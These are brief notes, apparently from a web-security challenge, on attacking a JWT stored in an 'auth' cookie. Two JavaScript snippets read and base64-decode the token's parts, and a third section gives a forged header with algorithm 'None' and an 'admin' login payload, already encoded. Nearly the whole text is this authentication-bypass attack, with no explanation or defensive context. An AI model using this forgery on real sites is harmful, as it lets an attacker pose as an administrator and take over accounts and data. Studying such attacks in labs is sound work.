extract cookie

document.cookie.replace('auth=','').split('.').forEach((cookieValue) => {
	console.log(cookieValue);
});

extract cookie 2

document.cookie.replace('auth=','').split('.').forEach((cookieValue) => {
	console.log(atob(cookieValue));
});

extract cookie 3

{"alg":"None","typ":"JWS"}            =>   eyJhbGciOiJOb25lIiwidHlwIjoiSldTIn0=
{"login":"admin","iat":"1497488799"}  =>   eyJsb2dpbiI6ImFkbWluIiwiaWF0IjoiMTQ5NzQ4ODc5OSJ9